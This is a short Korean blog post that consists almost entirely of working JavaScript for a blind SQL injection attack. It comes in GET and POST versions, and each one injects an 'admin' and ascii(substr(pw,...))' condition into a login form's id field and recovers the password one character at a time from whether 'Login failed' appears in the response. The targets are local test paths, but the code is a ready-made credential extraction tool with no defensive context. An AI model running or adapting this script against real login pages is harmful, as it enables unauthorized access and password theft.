본문으로 바로가기

XMLHttpRequest 를 이용한 Blind SQL Injection 소스

category Coding 2015. 3. 27. 21:51
반응형

[GET]

flag = ""

function run(i,j){

var req = new XMLHttpRequest();

req.open('GET', '/pytest/get_ok.php?id=admin\' and ascii(substr(pw,'+i+',1))='+j+'%23&pw=1');

req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

req.send();

req.onreadystatechange = function() {

if(req.readyState == 4 && req.status == 200){

if(req.responseText.indexOf("Login failed") == -1){ // 해당문자열이 없을 시

flag += String.fromCharCode(j);

console.log("Password is => "+flag);

}

}

}

}

for(i=1;i<=8;i++){

for(j=33;j<=127;j++){

run(i,j);

}

}



[POST]

flag = ""

function run(i,j){

var req = new XMLHttpRequest();

req.open('POST', '/pytest/login_ok.php');

req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

req.send('id=admin\' and ascii(substr(pw,'+i+',1))='+j+'#&pw=1');

req.onreadystatechange = function() {

if(req.readyState == 4 && req.status == 200){

if(req.responseText.indexOf("Login failed") == -1){ // 해당문자열이 없을 시

flag += String.fromCharCode(j);

console.log(flag);

}

}

}

}

for(i=1;i<=8;i++){

for(j=33;j<=127;j++){

run(i,j);

}

}

반응형

'Coding' 카테고리의 다른 글

리눅스 서버시간 변경하는법  (0) 2017.01.15
카카오톡 URL 미리보기 설정  (1) 2016.06.13
웹 에디터 Pingendo  (0) 2016.01.24
오토핫키 비활성 입력  (1) 2016.01.01
자바스크립트 이벤트 핸들러  (0) 2015.01.28